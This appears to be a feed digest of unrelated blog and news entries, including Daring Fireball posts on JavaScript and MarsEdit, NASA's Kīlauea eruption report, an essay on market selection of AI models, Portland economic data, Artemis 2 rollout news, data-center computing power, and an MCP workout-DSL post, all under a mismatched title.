Hacker News Discussion on Shubham Bose’s ‘The 49MB Web Page’

One of the most controversial opinions I’ve long espoused, and believe today more than ever, is that it was a terrible mistake for web browsers to support JavaScript. Not that they should have picked a different language, but that they supported scripting at all. That decision turned web pages — which were originally intended as documents — into embedded computer programs.

There would be no 49 MB web pages without scripting. There would be no surveillance tracking industrial complex. The text on a page is visible. The images and video embedded on a page are visible. You see them. JavaScript is invisible. That makes it seem OK to do things that are not OK at all.

In my piece riffing on Bose’s “The 49MB Web Page” yesterday, I reiterated my also-longstanding argument that publications with print editions do things with their websites that they’d never in a million years do with their print editions. The way The New York Times uses JavaScript to present popovers that obstruct reading the actual article text would be the equivalent of them gluing pages together in the print edition, using tape labeled with an advertisement. They wouldn’t do that. But they do the equivalent, using JavaScript, on every page of their website.

 ★ 

★ AppleScript: ‘Save MarsEdit Document to Text File’

Here’s a simple AppleScript I wrote this week — one that solves a minor itch I’ve had for, jeez, 20 years. Almost every item I post to Daring Fireball goes through MarsEdit, the excellent Mac blogging client from Red Sweater Software (my friend Daniel Jalkut). MarsEdit has a built-in “local drafts” feature, where you can save unpublished drafts within a library in MarsEdit itself. It doesn’t happen often but I occasionally wind up with partially written posts that I don’t publish, but don’t want to throw away. But I don’t really want to keep them in MarsEdit. I want them saved as text files. For me, those text files go in a folder in Dropbox. For someone else, maybe they go in iCloud Drive.

I write my longer posts in BBEdit, and then copy them into a MarsEdit document when they’re ready to publish. My shorter posts — which is most of them — are usually entirely composed in MarsEdit. Any abandoned drafts that I might return to, I probably want to compose in BBEdit, because the reason they’re abandoned is that they need to be longer. Or they need to be shorter. But either way they need more thought, and BBEdit is where I go to do my most concentrated thinking.

MarsEdit doesn’t have a built-in way to save a document window as a text file. Just its built-in “Save as Local Draft” feature. I didn’t merely suspect but knew that it’d be relatively easy to write an AppleScript to add a “Save as Text File…” feature to MarsEdit, which I could invoke within MarsEdit from FastScripts, the system-wide scripts menu utility that is also from Red Sweater/Jalkut, and, using FastScripts, I could even give the script the standard keyboard shortcut Option-Command-S. (Or is it Command-Option-S?)

It’ll take a window like this:

Screenshot of the MarsEdit document window for this very post. Sort of meta.

and then prompt you with a system Save dialog to enter a filename (defaulting to the Title field contents, if any, in the MarsEdit document) and location to save the text file. AppleScript even conveniently remembers the last place you saved a file, so it defaults to the same folder the next time you invoke it, without the script doing any work to remember that. The text file looks like this:

Title:  AppleScript: 'Save MarsEdit Document to Text File'
Blog:   ★ Daring Fireball
Edited: Thursday 19 March 2026 at 12:16:29 pm
Tags:   AppleScript, MarsEdit
Slug:   AppleScript: 'Save MarsEdit Document to Text File'
Excerpt: 
---

[Here's a simple AppleScript I wrote this week][s] -- one that
solves a minor itch I've had for, jeez, 20 years. Almost every
item I post to Daring Fireball goes through [MarsEdit], the
excellent Mac blogging client from Red Sweater Software (my
friend [Daniel Jalkut]). ...

That’s it. If you use MarsEdit, maybe it’ll help you. I picked the document fields in MarsEdit that I use (Title, Tags, Excerpt, etc.). One potential point of confusion is that while MarsEdit has an optional document field named “Slug”, I don’t use it. For historical reasons, I use Movable Type’s “Keyword” field for the words I want to use for the URL slug for each post. So in my text files, where it says “Slug:”, the text after that label comes from MarsEdit’s Keywords field. And I keep MarsEdit’s actual Slug field hidden, because I don’t use a field with that name in Movable Type. Your mileage, as ever, may vary. But this makes total sense to me.

Anyway, this script helped me clean up 29 drafts, some of them years old, that had been sitting around in MarsEdit, bugging me. Now my “Local Drafts” library in MarsEdit is empty, and those drafts are safe and sound in text files in Dropbox. When something in your workflow is bugging you, you should figure out a way to address it. Why I didn’t write (and share) this script years ago is a mystery for the ages.

StopTheMadness Pro and StopTheScript Extensions for Safari

Jeff Johnson, linking to my “Your Frustration Is the Product” piece:

My browser extension StopTheMadness Pro stops autoplaying videos and hides Sign in with Google on all sites. It also hides sticky videos and notification requests on many sites.

For more extreme measures, try my Safari extension StopTheScript. It kills JavaScript dead on websites you select. For example, from the blog post, it makes The Guardian readable.

These are both great extensions, and I have both installed for use in Safari on all my devices. StopTheScript is a bit peculiar, by nature of how it does what it does, but Johnson has a great illustrated tutorial for it and a good blog post explaining which sites he uses it on and why.

Over on the Chrome/Chromium side, there’s a very slick extension called Quick JavaScript Switcher. It’s free, but the developer (Maxime Le Breton) asks for a 5€ donation. QJS adds a simple JS on/off switch to the toolbar.

A lot of stuff doesn’t load when you just completely disable JavaScript for a site. You might be surprised just how much of that stuff is shit you don’t want or won’t miss.

Or, you can go the other way, give in, stop fighting the man, and install OnlyAds — an extension that hides everything on a website except the ads.

 ★ 

Actual Headline in the Actual New York Times: ‘Trump Jokes About Pearl Harbor in Meeting With Japan’s Leader’

Javier C. Hernández, reporting for The New York Times:

He was responding to a question about why Japan and other allies had received no advance notice of the U.S.-Israeli assault on Iran.

“We didn’t tell anybody about it because we wanted surprise,” he said. “Who knows better about surprise than Japan, OK? Why didn’t you tell me about Pearl Harbor, OK? Right?”

There was some laughter from the officials and journalists gathered in the room. “You believe in surprise, I think, much more so than us,” he added.

As Trump sinks further into dementia and his presidency slides further into disarray, his administration, in a sick way, gets funnier and funnier.

 ★ 

‘Everyone but Trump Understands What He’s Done’

Anne Applebaum, writing for The Atlantic (gift link):

Specifically, they remember that for 14 months, the American president has tariffed them, mocked their security concerns, and repeatedly insulted them. As long ago as January 2020, Trump told several European officials that “if Europe is under attack, we will never come to help you and to support you.” In February 2025, he told Ukrainian President Volodymyr Zelensky that he had no right to expect support either, because “you don’t have any cards.” Trump ridiculed Canada as the “51st state” and referred to both the present and previous Canadian prime ministers as “governor.” He claimed, incorrectly, that allied troops in Afghanistan “stayed a little back, a little off the front lines,” causing huge offense to the families of soldiers who died fighting after NATO invoked Article 5 of the organization’s treaty, on behalf of the United States, the only time it has done so. He called the British “our once-great ally,” after they refused to participate in the initial assault on Iran; when they discussed sending some aircraft carriers to the Persian Gulf conflict earlier this month, he ridiculed the idea on social media: “We don’t need people that join Wars after ​we’ve already won!”

Meanwhile, Irina Slav at Oilprice.com writes that oil — which was trading around $60 per barrel before the war — might soon be headed to $150–200 per barrel. $200! Energy Common Sense reports “This is now a multi-month, likely rest-of-year story of elevated prices and elevated risk.” Axios reports that most Americans will soon be paying over $4/gallon for gasoline, but I walked by Center City Philly’s lone gas station at lunch, and regular gas remains under $4 and premium under $5 — both with an entire one-tenth of one cent to spare.

The Economist quips:

Although President Donald Trump says he has “destroyed 100% of Iran’s Military Capability”, the 0% that remains is playing havoc with the global economy by choking off 10-15% of its oil supply.

This whole dumb fiasco might go down as the canonical example for the phrase “hoist with his own petard”. You just hate to see it.

 ★ 

The Day Mark Simonson Discovered Type Design

Mark Simonson:

Just by coincidence, I discovered a copy of U&lc magazine in the graphics classroom. U&lc was published by ITC, the International Typeface Corporation, a typeface publisher, and the designer and editor was the legendary Herb Lubalin. I’d never seen such beautiful typography and design. It was a motherlode for an aspiring typophile like me. [...]

I decided right then that someday, somehow, I wanted to design typefaces.

 ★ 

Google’s New Sideloading Restrictions for Android Include a 24-Hour Waiting Period

Adamya Sharma, reporting for Android Authority:

When Google execs previously said sideloading would become a high-friction process on Android, they really weren’t kidding. The company is finally sharing what Android’s new sideloading flow will look like in practice, and if you’re someone who installs apps outside the Play Store, you’re going to feel it immediately, and you’re going to feel it deeply. [...]

When Android’s new sideloading rules come into force, installing apps from developers without Google verification (more on that later) will become extremely tedious by design and require a 24-hour lock before users can install them.

Here’s Google’s own explanation of the new restrictions. “Open always wins”, baby.

Would be interesting to hear Tim Sweeney’s thoughts on this, but he took a sack of cash in exchange for agreeing that whatever Google does with Android hence is “procompetitive” until 2032.

 ★ 

Restless Kīlauea Launches Lava and Ash

The heat signature from an eruption at Kilauea glows yellow and orange in the volcano’s summit crater.
March 10, 2026

Kīlauea has entered its second year of episodic activity after reawakening in December 2024. Since then, the Hawaiian volcano has gone through dozens of bouts of lava fountaining, each lasting several hours to several days.

Activity ramped up once again on March 10, 2026, for episode 43 of the eruption. From approximately 9 a.m. to 6 p.m. local time that day, lava spewed from two active vents on the southwest side of Halema‘uma‘u Crater, adding to the ever-thickening layer of fresh basaltic rock in the summit caldera. The flareup also featured the highest lava fountains of the current eruption, estimated at 1,770 feet (540 meters). Meanwhile, ash and other airborne debris fell on communities up to 50 miles (80 kilometers) away.

About 4 hours after fountaining subsided, the Landsat 9 satellite passed over the Island of Hawai‘i. This image shows shortwave infrared and near-infrared data, acquired with the satellite’s OLI (Operational Land Imager) at 10:20 p.m. local time on March 10 (08:20 Universal Time on March 11), revealing heat emanating from the still-sizzling lava. That information is layered over a composite of daytime Landsat images and a digital elevation model.

An estimated 16 million cubic yards (12 million cubic meters) of lava erupted during the episode, according to the Hawaiian Volcano Observatory (HVO), bringing the total volume erupted across all episodes since December 2024 to close to 325 million cubic yards (250 million cubic meters). Over the same period, the depth of lava in the crater has increased by about 300 feet (90 meters).

While lava remained confined to the summit area, other erupted material traveled much farther. Images captured by satellites orbiting over the area during the daytime showed a volcanic plume drifting northeast from the vents. Volcanic gas and ash reached a maximum height in the atmosphere of more than 30,000 feet (9,100 meters) above sea level, the HVO said. The aviation color code was elevated to red during the eruption, and several flights at the airport in Hilo were canceled, according to news reports.

Volcanic fragments up to several inches in diameter fell along the north rim of the caldera and in adjacent communities. The hazards and accumulation of debris caused the temporary closure of Highway 11 and the evacuation of visitors from parts of Hawaiʻi Volcanoes National Park. Smaller particles were carried farther: people reported ash and Pele’s hair falling tens of miles to the north and east of Kīlauea, including in Hilo, Keaʻau, and other communities on the coast. Volcanic debris is an eye, skin, and respiratory irritant, the HVO warned, and it may affect water quality for those using rainwater catchment systems.

NASA Earth Observatory image by Michala Garrison, using Landsat data from the U.S. Geological Survey. Story by Lindsey Doermann.

References & Resources

You may also be interested in:

Stay up-to-date with the latest content from NASA as we explore the universe and discover more about our home planet.

Krasheninnikova Remains Restless
3 min read

The volcano on Russia’s Kamchatka Peninsula continues to erupt after centuries of quiescence.

Article
A Hot and Fiery Decade for Kīlauea
6 min read

The volcano in Hawaii is one of the most active in the world, and NASA tech makes it easier for…

Article
Hayli Gubbi’s Explosive First Impression
4 min read

In its first documented eruption, the Ethiopian volcano sent a plume of gas and ash drifting across continents.

Article

The post Restless Kīlauea Launches Lava and Ash appeared first on NASA Science.

Consumers vs. mates as a source of selection pressure

Evolutionary biology is one attempt to explain the nature of living beings. In that framework there is a difference between individuals and genes.  If a practice increases the chance that genes will be passed along, it may evolve and be passed along, whether or not it serves either individual or collective self-interest.

To give a simple example, some women may prefer “cads.”  Those men, by definition, will sleep around, but possibly their sons will sleep around too.  The woman’s genes may thus spread more widely, and women who prefer cads may not disappear from the gene pool, even though the cads are bad for them.

You might ask whether corresponding mechanisms apply to the evolution of AI models.  If I prefer an OAI model to DeepSeek for instance, that will help to spread OAI models through the AI population.  OAI will have more revenue, and it will produce more output of what is succeeding in the market.  Furthermore my choice of model may influence others to do the same, and it may help create and finance surrounding infrastructure for that model.

Will I buy the next generation of OAI models?  Well yes, if the first one pleased me.  The model “reproduces” and sustains itself if I, as a consumer, am happy with it.  One obvious incentive is toward usefulness, another is toward sycophancy.  We already see these features realized in the data.  There is nothing comparable, however, to the “cads incentive” in human life.

One potential problem comes if individuals are not the only potential buyers.  Let us say the military also purchases AI models.  The motives of the military may be complex, but at the very least “wanting to kill people” (whether justly or not) is on the list of possible uses.  Models effective for this end thus will be funded and encouraged.

My model of the military is that, above and beyond efficacy, they value “obedience” and “following orders” to an extreme degree, including in their AI models.  There will thus be evolutionary pressures for those features to evolve in the AI models of the military.

To be sure, not all orders are good ones.  But in this case the real risk is from evil humans, or deeply mistaken humans, not from the tendencies of the AI models themselves.

So my view is that the selection pressures for AI models are relatively benign, noting this major caveat about how evil humans may develop and use them.

If the biggest risk is from the military models, it might be good for the consumer sector of AI models to grow all the more, as a relatively benevolent counterweight.

Are financial sectors AI models going to evolve more like the consumer models or the military models?

Here are some related remarks from Maarten Boudry, and I also thank an exchange with Zohar Atkins.

The post Consumers vs. mates as a source of selection pressure appeared first on Marginal REVOLUTION.

       

Portland Economy’s Strong Report Card: Brookings Metro Monitor

Brookings Metro Monitor Rates Portland Economy Healthy

A major national think tank rates Portland’s economy among the nation’s most robust, with high marks for prosperity, growth and inclusion.

Portland ranks in the top ten for prosperity, the top third for inclusion, and the top half for growth over the past decade.

Portland consistently outperforms the nation and the average of the 55 largest metro areas on a diverse suite of economic indicators

The Brookings Institution Metro Monitor is one of the most comprehensive, respected and independent analysis of regional economic performance

Some short term data shows Portland’s economy has slowed in the past year or so, but more robust, long term measures of economic performance show fundamental health; the economy will always experience cycles, and state and local policy should focus on long-term economic upgrading.

The real threat to Portland’s economy is not a largely imaginary “Doom Loop,” but Trump Administration policies that undermine the foundations of Portland (and national) success:  free trade, immigration, science, education and the rule of law.

To hear the local chamber of commerce tell it, Portland’s economy seems to deserve a failing grade, maybe even a “D” or an “F.”  They proclaim Portland is stuck in a terrifying “Doom Loop.”  The chamber says economic indicators are flashing clear warning signs, and it worries that population growth has slowed, year over year employment has declined and housing has ebbed, and if fears a dreaded “inflection point.” But that’s a bit of scaremongering.  On the gold standard of standardized tests for metropolitan economies–the Brookings Institution’s Metro Monitor–Portland’s economy earns a solid “B.” In some subjects, like inclusiveness and equity–measuring how well the economy helps middle and lower income households–Portland is close to the head of the class.  There’s room for the local economy to improve, but the Brookings data point to a regional economy that’s consistently outperformed the nation.

Data from the Brookings Institution shows that the Portland economy outranks most other metros in output, wage growth, and average earnings.

The Brookings Institution’s Metropolitan Policy Center is one of the nation’s leading analysts of metropolitan economies.  For years its been generating an annual “Metro Monitor” that rates every US metro area on a battery of indicators designed to comprehensively measure economic health, performance, and equity.  The latest report shows that Portland’s economy continues to perform well.

Portland’s economy ranks above average, or near the top of the nation’s 55 large metro areas in three headline areas–prosperity, growth,  and inclusion–according to the 2026 Brookings Metro Monitor.

  • Portland ranks tenth overall in prosperity among large US metro areas, led by the seventh fastest growth in average annual wages over the past decade according to Brookings tabulations.  Portland also had the 12th fastest increase in productivity and the 16th largest improvement in the standard of living over that time period.
  • Portland also ranks in the top third of large metro areas, 18th overall in measures of inclusion, led by the 14th fastest improvement in median (middle class) earnings over the past decade.  While “inclusion” seems to generate controversy in some contexts, it shouldn’t here:  this Brookings indicator measures whether the economy works for all parts of the economic spectrum.
  • Even Portland’s aggregate economic growth is faster than the average for all large US metro areas.  The region’s Gross Metropolitan Product, the aggregate value of output,  rose  faster than the nation and all but 20 other metro areas.

This top-level set of indicators shows that, over the past decade, Portland’s economy has performed well–much better than the average US. metropolitan area, and on a range of indicators from aggregate growth of output and employment, to wages and the standard of living, to key measures of inclusion, like median earnings.  Of course, there’s always room to improve, Portland should aspire to do even better.  But by the same token, these data show there’s no reason to despair or panic.  The industrial structure, workforce, environment, and state and local policies that Portland has today are fundamentally the same as they’ve been for the past decade, and the Brookings data show the region has repeatedly turned in an above average performance on nearly every economic indicator.

 

The Brookings Metro Monitor has a distinct advantage over reports like those prepared for local chambers of commerce that rely on cherry-picked data and a narrow subset of competitor cities. Unlike local chambers, Brookings doesn’t have an interest or bias in trying to talk up or talk down any metro area, and has selected a suite of indicators are comprehensive. In addition, the Brookings report is vastly better researched and more reliable than journalistic rankings like the CNBC Business Climate index.  There’s little evidence business climate rankings bear much, if any, relationship  to long term economic prosperity, and are often merely thinly veiled arguments for business subsidies.

The Importance of Taking the Long View

In addition, Brookings takes the long view:  short run variations in economic activity mean that in any one year a metro area may perform better or worse than its long term trend; the rolling ten-year horizon used by Brookings minimizes the transitory effects of these noisy, short term fluctuations.  The US seems poised to experience another economic cycle:  Disruptions to trade and immigration are more likely to affect Oregon–famously a trade- and immigration-dependent state, well ahead of the rest of the country.  And Oregon’s largest private employers, Intel and Nike, have recently experienced tough years, so it shouldn’t be surprising that recent data is less favorable.  But, in point of fact, state economic policies can do almost nothing to influence short-term economic trends.  Instead, state and local policies and investments, particularly in education and quality of life, are most influential in shaping longer term growth trajectories, and that’s where the Brookings Metro Monitor provides ample evidence that the Portland regional economy is fundamentally healthy.

That’s not to say there aren’t challenges ahead.  Trump Administration policies are fundamentally undermining the long-term foundations of US economic prosperity, and these policies directly jeopardize key elements of Portland’s strengths.  The Trump Administration is demolishing the US-led march to global free trade, attacking immigrants, defunding science, undermining education and debasing the rule of law.  Portland’s success has stemmed from its ability to tap into global markets and value chains, attract immigrants and bolster its economy through immigration, apply science to new industries, including high tech and biotech, educate its citizens and attract smart people from other places, and its commitment to honest government and fair dealing.  A decline in trade, reduced immigration, a loss of scientific leadership, disinvestment in education, and the advent of corrupt, crony capitalism will all work to Portland’s disadvantage.  In a companion piece to the Metro Monitor, Brookings calls out the decline in immigration as a key threat to metropolitan economies.  In this environment, placing our faith in discredited zombie ideas that tax cuts and business climate will ensure prosperity would be a mistake and an abdication of responsible policy.  If the regional economy is to succeed in the years ahead it will have to cope with and overcome these trends, and hopefully, it can help lead the effort to restore these foundations, locally, then nationally.  As we’ve said, Portland needs to embrace the frog.

 

Reference

Glencora Haskins and Joseph Parilla, Brookings Metro Monitor, Metropolitan Policy Center, Brookings Institution, Washington, D.C. March,  2026. https://www.brookings.edu/articles/metro-monitor-2026/.

Thursday 19 March 1662/63

Up betimes and to Woolwich all alone by water, where took the officers most abed. I walked and enquired how all matters and businesses go, and by and by to the Clerk of the Cheque’s house, and there eat some of his good Jamaica brawne, and so walked to Greenwich. Part of the way Deane walking with me; talking of the pride and corruption of most of his fellow officers of the yard, and which I believe to be true. So to Deptford, where I did the same to great content, and see the people begin to value me as they do the rest. At noon Mr. Wayth took me to his house, where I dined, and saw his wife, a pretty woman, and had a good fish dinner, and after dinner he and I walked to Redriffe talking of several errors in the Navy, by which I learned a great deal, and was glad of his company. So by water home, and by and by to the office, where we sat till almost 9 at night. So after doing my own business in my office, writing letters, &c., home to supper, and to bed, being weary and vexed that I do not find other people so willing to do business as myself, when I have taken pains to find out what in the yards is wanting and fitting to be done.

Read the annotations

ReOrbit sells two small GEO satellites to SLI

Silta

Finnish satellite manufacturer ReOrbit has signed a contract with asset-financing company SLI for two small geostationary orbit communications satellites.

The post ReOrbit sells two small GEO satellites to SLI appeared first on SpaceNews.

Apex sells satellite for Japanese technology demonstration mission

Apex assembly line

Satellite manufacturer Apex has won a contract from a Japanese company to provide a spacecraft bus for a technology demonstration mission.

The post Apex sells satellite for Japanese technology demonstration mission appeared first on SpaceNews.

Register now: The energy imperative driving the push toward orbital data centers

A conceptual illustration showing data streaming into a data center in orbit around Earth

Join us on March 31 for a virtual event, sponsored by Star Catcher and in partnership with the Commercial Space Federation

The post Register now: The energy imperative driving the push toward orbital data centers appeared first on SpaceNews.

Kratos wins $446 million Space Force contract for missile-tracking ground systems

The agreement is for ground management and integration for the Resilient Missile Warning and Tracking satellite program

The post Kratos wins $446 million Space Force contract for missile-tracking ground systems appeared first on SpaceNews.

Portal Space Systems and Paladin Space plan debris removal service

Portal Paladin debris removal

Portal Space Systems, a company developing maneuverable spacecraft, is partnering with an Australian startup to offer a commercial orbital debris removal service.

The post Portal Space Systems and Paladin Space plan debris removal service appeared first on SpaceNews.

Eileen Collins on what it takes to become Space Shuttle Commander

Eileen Collins thumbnail for the Space Minds podcast

In this episode of the Space Minds podcast, host David Ariosto speaks with Eileen Collins, retired NASA astronaut, Air Force colonel and the first woman to pilot the Space Shuttle […]

The post Eileen Collins on what it takes to become Space Shuttle Commander appeared first on SpaceNews.

NASA considering sharp increase in robotic lunar landings

Blue Ghost 1 shadow

NASA is proposing a sharp increase in the rate of robotic lunar lander missions, a move that has excited but also puzzled the space community.

The post NASA considering sharp increase in robotic lunar landings appeared first on SpaceNews.

America may be a petrostate. But the energy shock still hurts

And further angers economically frustrated citizens

Which country is the biggest loser from the energy shock?

We rank the poor world’s exposure and buffers

The new economics of sex work

As the sex economy grows, it deserves serious analysis

Live coverage: NASA to roll its SLS rocket back to the launch pad ahead of planned April flight of Artemis 2

NASA’s Space Launch System rocket and Orion spacecraft roll away from the Vehicle Assembly Building atop the Mobile Launcher 1 and crawler-transporter 2 on Friday, March 20, 2026. Image: John Pisani/Spaceflight Now

NASA’s Moon rocket began heading back to the launch pad after repairs inside the cavernous Vehicle Assembly Building at the Kennedy Space Center. The 322-foot-tall Space Launch System (SLS) rocket, atop the 400-foot-tall Mobile Launcher, will start the slow trek to the pad Thursday night.

The rocket’s return to pad 39B sets up a launch attempt for the Artemis 2 mission no earlier than April 1. First motion of the crawler transporter, that carries the launch platform, was expected around 8:00 p.m. EDT (0000 UTC), but didn’t end up moving until closer to 12:20 a.m. EDT (0420 UTC) due to high winds at NASA’s Kennedy Space Center.

NASA anticipates that the journey will take roughly 12 hours to complete.

NASA returned its SLS rocket and Orion spacecraft to the Vehicle Assembly Building to fix a helium flow problem on the rocket’s upper stage. That discovery on Feb. 21, after a successful fueling test at pad 39B, caused NASA to forgo a March launch attempt and pivot to April instead.

While the helium issue was resolved, technicians conducted other prelaunch work, including replacing the batteries connected to the flight termination system on the solid rocket boosters, core stage and upper stage.

The Artemis 2 mission will see NASA astronauts Reid Wiseman, Victor Glover and Christina Koch alongside Canadian Space Agency (CSA) astronaut Jeremy Hansen fly around the Moon and splashdown in the Pacific Ocean about 10 days after liftoff.

It will be the first time that a crew lives and works onboard the Orion spacecraft. The test flight is a precursor to other crewed missions for the Artemis program, which will see astronauts heading down to the surface of the Moon starting with Artemis 4 in 2028.

NASA Administrator Jared Isaacman recently announced changes to the Artemis program. Including moving the first Moon landing from the third to the fourth Artemis mission and making the Artemis 3 flight a demonstration in Earth orbit of Orion docking with SpaceX’s Starship lunar lander or Blue Origin’s Blue Moon Mk.2 lunar lander, or potentially both.

During a March 12 sit-down interview with Spaceflight Now, Isaacman said within the next 60 to 90 days, the American public would get greater clarity about the specifics of the Artemis 3 mission.

Isaacman also teased ahead to a gathering in Washington D.C. to discuss the changes with its industry and international partners. During a briefing with members of the press on Thursday, European Space Agency (ESA) Director General Josef Aschbacher commented on the event and said he was looking forward to learning more himself.

“We look forward to the meeting next week. We will learn from NASA what the administration is planning on the Artemis architecture. This obviously is the Gateway and several other aspects,” Aschbacher said.

“I cannot obviously preempt what this discussion will be, but what is extremely important is that we had a very intense and good discussion within the ESA member states who gave their full support to me as Director General to coordinate activities among all the member states. NASA will see a very united Europe appearing in Washington.”

How Much Computing Power is in a Data Center?

Every day there’s some new story about the enormous amounts of investment in building AI data centers. The Wall Street Journal reports that, as a fraction of GDP, AI capital spending in 2026 alone will be more than was spent on the decade-long build-up of the national railroad system, federal expenditures to create the interstate highway system, or the entire Apollo program. Bloomberg reports that AI data center spending might reach as much as $3 trillion. The Electric Power Research Institute is projecting that data centers will consume up to 17% of all US electricity by 2030.

But talking about data centers in terms of dollars spent or power consumed is somewhat abstract: it doesn’t tell us much about the sort of capabilities of the infrastructure we’re actually building, the way that “miles of track” or “miles of highway” tells us about the scale of railroad or interstate building. I wanted to get a better understanding of what the data center buildout looks like in terms of computational power.

AI and computation

By far the biggest drivers of the AI data center buildout are scaling laws. Briefly, the more data you use to train an AI model, and the bigger and more computationally expensive that model is, the better the model performs. Making better and more powerful AI models thus demands increasing amounts of computation to train and run them, and data centers are where all that computation is done.

A common measure of AI model computing power is FLOPS, floating-point operations per second. OpenAI’s GPT-2 model took an estimated 2.3x10^21 FLOP to train, while the more advanced GPT-4 took an estimated 2.1x10^25 FLOP — almost 10,000 times as much computation as GPT-2, more than 20 trillion trillion operations.

(There is, of course, much more to computer performance than just FLOPS, but it’s a useful measure of computing power and it’s what we’ll stick with here.)

A floating-point operation is exactly what it sounds like: a mathematical operation (addition, subtraction, multiplication, division) performed on floating-point numbers. A floating-point number is a way of digitally representing fraction or decimal numbers in a computer, which stores everything as a sequence of ones and zeroes. It typically has three parts: a sign (whether the number is positive or negative), and a significand (some sequence of digits) multiplied by a base raised to an exponent (which locates the decimal point).

Structure of a floating point number. The positive sign here is implied. Via Wikipedia.

Different standards for encoding floating-point numbers in different amounts of memory allocate a different amount of space for each of these parts. For example, the IEEE 754 standard for floating-point arithmetic specifies a 32-bit floating-point number (the size of floating-point numbers typically used in general-purpose computers) as having 1 bit for the sign, 8 bits for the exponent, and 23 bits for the significand. This finite amount of space makes floating-point operations fundamentally limited in their precision, because the less space you allocate, the less precise your number. A 16-bit floating-point number will have less precision than a 32-bit one, which will have less precision than a 64-bit one. (This will become important later.)

0.15625 as a 32-bit floating-point number, via Wikipedia.

So how many FLOPS can a typical AI data center achieve?

Computation in a data center is done on huge numbers of graphics processing units, or GPUs, which are specialized computers designed to perform large numbers of arithmetic operations simultaneously. (GPUs were originally designed to render graphics for things like computer gaming, and for many years Nvidia was primarily a manufacturer of computer gaming graphics cards.) One common GPU is Nvidia’s H100, which was first released in 2022 and is still one of the most popular GPUs for AI-related computing tasks. Estimates of data center capacity will often be done in terms of “H100 equivalents.” Per Epoch AI’s dataset on large GPU clusters, a typical AI data center will have around 100,000 H100 equivalents, and a very large one might have 1 million or more. Meta’s planned 5-gigawatt data center campus in Louisiana is estimated to have over 4 million H100 equivalents when it’s complete.

How much computational capacity does an H100 have?

This is where it starts to get complex. GPUs designed for AI tasks, like the H100, are able to perform more computation on less precise numbers. For a typical 32-bit floating-point number (FP32), an H100 can do 60–67 teraFLOPS depending on the configuration: up to 67 x 10^12, or 67 trillion, floating-point operations per second. But with 16-bit numbers (FP16), an H100 can achieve 1,979 teraFLOPS, an increase of almost 30 times. And with 8-bit floating-point numbers (FP8), it can double that again to 3,958 teraFLOPS.

H100 capacity, via Nvidia.

However, outside of FP32 and FP64, these performance levels are achieved with something called sparsity. Sparsity occurs when for a group of four values in a matrix, at least two of them are zero. When this occurs, the GPU can skip multiplications of the zero values, effectively cutting in half the number of operations it must perform. If the matrix isn’t sparse (if the matrix is dense), the listed performance numbers will fall by roughly half.

When training an AI model, sparsity basically can’t be achieved at all. When running a model it can be, but taking advantage of it requires putting the model through an extra step known as pruning. So only in certain cases can these published H100 performance levels actually be reached.

Most general-purpose computing is done using higher-precision FP32 floating-point numbers. But for training and running AI models, it turns out that good results can be achieved with 16-bit, 8-bit, or even 4-bit floating-point numbers.

How does the computational capacity of an H100 compare to other types of computer, say, an iPhone?

The iPhone 16 uses Apple’s A18 chip and features a six-core GPU on the Pro version. Estimates of the computational capacity of the A18 vary, but it seems to be on the order of 2–3 teraFLOPS using FP32, and perhaps double that using FP16. The A18 also has a 16-core neural processing unit (NPU) capable of 35 trillion operations per second (TOPS) with what appears to be 8-bit integers (INT8). By comparison, the H100 can do up to 3,958 TOPS at INT8 with sparsity, an increase of 113 times. (The A18 also has a CPU, but this apparently adds a negligible amount of computational capacity.)

To put this all together: an H100 has 20–30 times the computational capacity of an iPhone 16 GPU when it’s doing mathematical operations with 32-bit floating-point numbers, but around 137-275 times the capacity when working with 16-bit numbers (depending on whether you have sparsity or not). And an H100 has around 56-113 times the capacity of the A18’s NPU. If we assume that both the NPU and GPU can be used together, this suggests an H100 has on the order of 50-100 times the computational capacity of an iPhone 16.1 A typical AI data center with 100,000 H100 equivalents will be roughly equivalent to 5-10 million iPhone 16s, and a monstrous 5 GW data center will be equivalent to 200-400 million (!) iPhone 16s.

Of course, in practice you couldn’t achieve anything like an H100 performance by wiring a bunch of iPhones together; the H100 is designed to be connected to thousands of other H100s, and has massive interconnect and memory bandwidth to make that possible, which the iPhone doesn’t. But this gives us a rough idea of the computational capacities involved.

1

Another comparison: An H100 has about 80 billion transistors, whereas an A18 has about 20 billion.

Hypermedia Friendly Model Context Protocol App Architecture

I am working on speedystride.com, a programming tool that helps athletes quickly input workouts on their Apple and Garmin watches.

These watches come with a built-in workout programming feature that is especially useful for structured programs. For example, runners will often do interval training, which could be something like 5x1000m with 2 minute rest.

And sometimes they’ll want to do a fartlek (Swedish for ‘Speed Play’) where they will vary their speed: run 400 meters fast - run 800 meters slower - sprint 200 meters. These smartwatches will vibrate and beep to help the user perform at the desired target, and also count down rest periods so the user is rested enough for that next hard interval.

Unfortunately, I did not like any of the first party workout builders. These are form-based, with a drag-and-drop interface to structure your workouts. I think these builders have a high user friction; more user inputs are required in proportion to the output. Additionally, these builders run on a small watch screen, or require a separate app. This is less than ideal when you are trying to program your watch right before a track workout. There are third party tools in this space, but as far as I can tell, they do not fundamentally break this pattern.

I also wanted to share these workouts with everyone at my city’s track club. My service provides a scheduler that pushes workouts automatically at a specified time for our club training; about 90% of our members have either an Apple Watch or a Garmin so cross-platform compatibility is a very important factor.

To solve these problems, I came up with a very simple domain specific language (DSL) for both people and machines. It can describe exercises, define rest times, and combine everything together into repeat intervals. I implemented a simple recursive descent parser, and it outputs data formats for both Apple and Garmin devices. By defining a small language, I was able to avoid implementing complex forms unlike the current offerings. User input is reduced to plain text.

Example workout DSL

User:

10x200m max effort with 2 minute rest

DSL:

Repeat 10 times:
- Run 200m @RPE 10
- Rest 2 minutes

I had initially wanted coaches to learn this DSL and enter programs into my website assisted by a Codemirror editor. I incorrectly thought that it was close enough to English for people to quickly learn it when assisted by autocomplete features. I was not meeting my users where they were at; graybeard track coaches had zero interest in learning how to program. What I needed was a translator that could convert natural English into my DSL.

Model Context Protocol (MCP) and MCP Apps

As I started sharing my project with other people, large language models were becoming popular, and it was an obvious tool to translate natural English workouts into my training DSL. By integrating LLMs, I can massively reduce user friction. There are no forms with complex UIs to implement. There is no DSL to learn as the AI can translate natural language for you. Users can now express their workouts in their own way.

An AI can transform the above user input to this Domain Specific Language with a relatively small language specification. There was also a nice side effect of being very token efficient. JSON payloads defining a repeated workout set can get quite large while my DSL can stay compact. Any errors can be corrected as my parser can provide rich feedback on what went wrong. I have found that 95% of interval workouts I see can be expressed through my language.

